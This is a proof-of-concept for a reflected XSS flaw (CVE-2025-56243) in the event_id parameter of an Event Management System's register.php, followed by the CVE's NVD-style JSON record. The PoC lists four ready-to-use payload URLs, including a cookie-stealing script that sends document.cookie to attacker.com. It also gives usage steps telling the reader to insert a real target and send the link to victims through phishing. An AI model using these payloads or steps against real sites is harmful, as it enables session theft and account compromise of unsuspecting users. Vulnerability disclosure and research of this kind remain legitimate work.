CVE-2025-56243

<!-- CVE-2025-56243 PoC: Reflected XSS via event_id parameter in register.php --> <!-- Attack vector: Crafted URL with malicious JavaScript injected into event_id GET parameter --> <!-- Method 1: Direct script injection --> http://target.com/register.php?event_id=<script>alert('XSS-CVE-2025-56243')</script> <!-- Method 2: Event handler injection via img tag --> http://target.com/register.php?event_id=<img src=x onerror=alert(document.cookie)> <!-- Method 3: SVG-based payload --> http://target.com/register.php?event_id=<svg/onload=alert('XSS')> <!-- Method 4: Cookie stealing payload (for demonstration) --> <!-- http://target.com/register.php?event_id=<script>document.location='http://attacker.com/steal?c='+document.cookie</script> --> <!-- Usage: 1. Replace 'target.com' with the actual vulnerable Event Management System URL. 2. Send the crafted URL to a victim via phishing email, social media, or messaging apps. 3. When the victim clicks the link, the injected JavaScript executes in their browser context. -->

{"cve": {"id": "CVE-2025-56243", "sourceIdentifier": "[email protected]", "published": "2025-10-07T17:15:33.723", "lastModified": "2025-10-15T18:35:26.167", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Cross-Site Scripting (XSS) vulnerability was found in the register.php page of PuneethReddyHC Event Management System 1.0, where the event_id GET parameter is improperly handled. An attacker can craft a malicious URL to execute arbitrary JavaScript in the victim s browser by injecting code into this parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:puneethreddyhc:event_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "93452789-A2CC-4C30-AF73-FD28ABB79BB2"}]}]}], "references": [{"url": "https://gist.github.com/hafizgemilang/a75cbf48883881e0b27d33c67906d9d6", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}]}}